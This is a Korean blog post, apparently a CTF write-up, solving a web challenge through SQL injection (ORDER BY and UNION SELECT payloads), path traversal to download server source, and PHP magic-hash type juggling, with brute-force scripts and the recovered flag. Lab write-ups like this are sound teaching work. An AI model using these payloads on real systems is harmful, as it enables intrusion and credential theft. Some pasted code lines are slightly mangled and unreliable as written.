티스토리 뷰

- Combination Pizza

(CTF 서버가 내려가서 비슷하게 구축하긴 했는데 다소 다른 부분이 있습니다.)


메인 페이지는 민들레가 흩날리고...


블로그 메뉴에 들어가보면 3개의 글을 볼 수 있다.


첫 번째 글을 선택해보면, 파라미터 값에 id=1 이 추가된 것과 해당 글의 내용을 자세히 볼 수 있다.


id의 값을 2로 변경해보면 두 번째 글을 읽을 수가 있고...


id의 값을 3으로 변경해보면 세 번째 글을 읽을 수가 있다. (의미심장한 말과 함께...)


id의 값을 4로 변경해보면 해당되는 글이 없어서 정보가 표시되지 않는 것을 볼 수 있다.


id=1' ORDER BY 1-- -

...

id=1' ORDER BY 6-- -

까지는 첫 번째 글에 대한 정보를 볼 수 있지만,

id=1' ORDER BY 7-- -

부터는 4로 변경했을 때와 같이 정보를 볼 수가 없다.


즉, 조회하는 테이블의 컬럼 수는 6개


여기서부터는 UNION을 이용해서 데이터베이스를 조회하면 된다.

조회해보면 login 테이블에 user, pass 값이 있는 것을 확인할 수 있다.

user:pass

Admin:70e76a15da00e6301ade718cc9416f79

pass의 hash 전 값을 찾아보면 adminpw 인 것을 알 수 있다.


하지만, 로그인을 하기 위해서는 token 값이 필요하기 때문에 아래와 같이 다른 테이블을 조회해보면,

id=-1' UNION SELECT 1,2,3,4,(SELECT GROUP_CONCAT(id,0x3a,datetime,0x3a,writer,0x3a,type,0x3a,title,0x3b,contents,0x3a,file)FROM blog LIMIT 0,1),'6'-- -

블로그에서 보이지 않았던 관리자의 숨겨진 글을 볼 수가 있고, Secret File이라는 제목과 함께 down.php?fn=poem.jpg 링크 정보를 알 수 있다.


해당 링크로 접근해보면 파일이 다운로드 된다.

down.php?fn=poem.jpg


다운로드가 되는 것을 이용하여 down.php 파일을 다운받는다.

down.php?fn=../down.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
    if(isset($_GET['fn']))
    {
        $filename = $_GET['fn'];
        $path = './upfile/' . $filename;
 
        Header("Content-type: application/octet-stream");
        Header("Content-Length: " . filesize($path));
        Header("Content-Disposition: attachment; filename=$filename");
        Header("Cache-Control: no-cache");
 
        if(is_file($path))
        {
            $fp = fopen($path"r");
            if(!fpassthru($fp))
            fclose($fp);
        }
    }
?>
cs


동일한 방법으로 다른 코드들도 다운 받아서 확인하다 보면 로그인 확인 로직이 있는 코드를 볼 수 있다.

down.php?fn=../login_ck.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
    include "./lib/for_flag.php";
    include "./lib/lib.php";
 
    $user = mysql_real_escape_string($_POST['user']);
    $pass = mysql_real_escape_string($_POST['pass']);
    $token = $_POST['token'];
 
    $que = "select user from login where user='{$user}' and pass=md5('{$pass}')";
    $result = mysql_query($que);
    $row = mysql_fetch_array($result);
 
    if($row['user'== 'Admin')
    {
        if(md5("blog".$token== '0e689047178306969035064392896674')
        {
            echo "good job !!!<br />FLAG : <b>".$flag."</b>";
        }
        else
        {
            echo "Incorrect Token";
        }
    }
    else
    {
        echo "Incorrect ID or Password";
    }
?>
cs


코드를 보면 user 값은 Admin, pass 값은 앞에서 알아낸 값을 입력한 다음...

md5("blog",$token) == '0e689047178306969035064392896674'

위 조건에 만족하면 flag 값을 알 수가 있다.


비교하는 값의 형태를 보면 PHP magic hash 취약점이 있는 것을 알 수 있다.

salt 값을 blog로 해서 0e[숫자] 형태가 되는 token 값을 찾으면 된다.


magichash.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
    $target = '0e689047178306969035064392896674';
    $create = ''
 
    function generate() {
        $charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890';
 
        for($i=0$i<7$i++) { 
            @$create .= $charset[mt_rand(1, strlen($charset)-1)];
        }   
        return $create;
    }
 
    for(;;) {
        $r = generate();
        $result = hash('md5','blog'.$r,false);
 
        if(substr($result,0,2=== '0e') {
            echo "Try : ".$r."\r\n";
            echo "Result Hash : ".$result."\r\n";
            echo "--------------------------------"."\r\n";
 
            if($result == $target ) {
                echo "[+] Found:\r\n";
                echo $result."\r\n";  
                echo $r."\r\n";
                return;
            }
        }
    }
?>
cs


[+] Found: d7IpD5n


magichash.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import hashlib
import string
import itertools
import sys
 
salt = "blog"
example = "0e689047178306969035064392896674"
prefix = "0e"
 
assert(example[:2== prefix)
assert(example[2:].isdigit())
 
print("[*] Searching for md5($salt,$string) == 0eN")
print("[+] salt = "+salt)
 
for i in itertools.product(string.ascii_letters, repeat=int(sys.argv[1])):
    pw = "".join(i)
    ma = hashlib.md5()
    salted = salt + pw
    ma.update(salted)
 
    if ma.hexdigest()[:2== prefix:
        if ma.hexdigest()[2:].isdigit():
            print("\n[-] Found: "+ma.hexdigest()+" that comes from "+pw)
            sys.exit()
 
print("Not Found!")
cs



코드를 통해서 알아낸 token 값을 이용해서 로그인을 하면 flag를 볼 수 있다.


FLAG : jjambbong_WEBHACKING!!@!

댓글
«   2024/11   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
링크
공지사항
Total
Today
Yesterday